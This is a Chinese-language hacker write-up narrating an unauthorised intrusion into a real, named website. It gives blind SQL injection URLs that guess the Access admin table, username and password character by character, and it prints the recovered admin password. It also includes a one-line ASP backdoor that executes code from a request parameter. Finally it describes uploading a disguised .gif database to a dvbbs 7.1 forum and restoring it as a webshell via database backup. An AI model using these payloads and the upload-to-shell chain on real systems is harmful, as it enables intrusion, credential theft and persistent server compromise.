作者:混世魔王… 文章来源:swords
某日,为了找个免费的asp.net空间我转悠到了站长之家http://www.yisou8.com,令人失望的是几条asp.net空间信息根本就没法用,浪费了偶的注册时间,怎“郁闷”两字了得?!
于是,我决定帮忙监测一下网站有没有洞洞?很失望啊,很失望,在网站首页的所有潜在注入点都“试射”了一遍,没有发现一个可以利用的。郁闷之际,看到“美女图库”分栏目,决定进取看看MM图片休闲一下。
图1
一、挖掘注入点
习惯性的再加个单引号http://www.yisou8.com/sucai/index.asp?catid=4',这次又有了新的发现,幸亏我观察得仔细啊,两次返回的图片不一样,大家看看两次的图片对比。
当提交第一个网址的时候,返回正常页面,提交第二个网址的时候返回另一个页面的信息,这就说明http://www.yisou8.com/sucai/index.asp?catid=4这个脚本存在SQL注入的漏洞。虽然找到了注入点,但是都是些这么大的图片,返回的信息太慢,于是我决定继续找找看看。打开他的评论看看,是个无框窗口,把地址隐藏了,我们按“Ctrl+N”,地址已经暴漏了http://www.yisou8.com/sucai/review.asp?id=3256,这次直接用and 1=1试试http://www.yisou8.com/sucai/review.asp?id=3256 and 1=1
http://www.yisou8.com/sucai/review.asp?id=3256 and 1=2
第一次正常,第二次空白了,哈哈,找到了理想的注入点,那我们看看他是什么类型的数据库。http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select * from sysobjects)返回空白,说明不存在系统表sysobjects,如果存在就是MSSQL数据库,如果不存在一般就是ACCESS数据库了。很失望啊,看来得到WebShell比较困难啊,毕竟ACCESS比MSSQL的功能少,麻烦ing。
二、猜测表名、字段名、字段值
通过下面语句来猜解表名http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select * from admin)返回正常页面,说明表名正确。通过下面语句来猜解字段名。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select admin from admin)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select password from admin)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin)
比较顺利,除了admin字段猜了两次username和user外,其他一猜即中。下面的过程是来猜测id的,高手一看即懂。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where ID between 1000 and 3255)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where ID between 1000 and 3256)
猜测到id居然就是review.asp?id=3256这个id=3256!检测admin值。
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where len(admin)=5 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
第一个字母是’a’,根据经验,一般字段名就是admin,试一下
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where admin='admin' and ID=3256)
正确,猜出字段名admin的值就是“admin”
猜密码值:
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where len(password)=12 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(admin,1,1))=97 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(password,1,1))>114 and ID=3256)
http://www.yisou8.com/sucai/review.asp?id=3256 and exists (select id from admin where asc(mid(password,1,1))>115 and ID=3256)
最后猜出admin内容是admin,password内容是smrtanujf888
找到后台http://www.yisou8.com/sucai/admin/login.asp
进去看看。
很遗憾,试了几个地方插入
<%if request("swords")<>"" then Session("sw")=request("swords")
if Session("sw")<>"" then execute Session("sw")%>
没有找到可以得到WebShell的地方, 看来是没有办法了,于是回到首页继续逛。一看是动易2005程序,想使得到的密码试一下,居然没有找到后台,@#$%^&*防范得很好,把后台登录地址改了!!痛苦失望流鼻涕中。
惊鸿一瞥啊,我发现最右侧还有个论坛,一看动网的dvbbs7.1.0,《dvbbs7.1照样从后台得到WebShell》刚在八进制论坛看到的!马上一试!
把dvbbsToshell.gif(一个数据库了:里面插入了加密的asp后门,已经放在光盘)选择在发表帖子的那个地方上传。因为这个地方不会检查文gif的特征码。(不要选择在头像上传的地方上传啊。)
记录下上传后的地址UploadFile/2005-7/200571212261232654.gif,点击“管理“到后台,执行数据库备份。
恢复成shell.asp。
执行后门http://bbs.yisou8.com/Databackup/shell.asp。
写入新的后门http://www.yisou8.com/shell2.asp测试下功能,完成。
后记:关键是注入点的挖掘和灵活的运用已知的漏洞,over!写完后也是我通知管理员的时候了!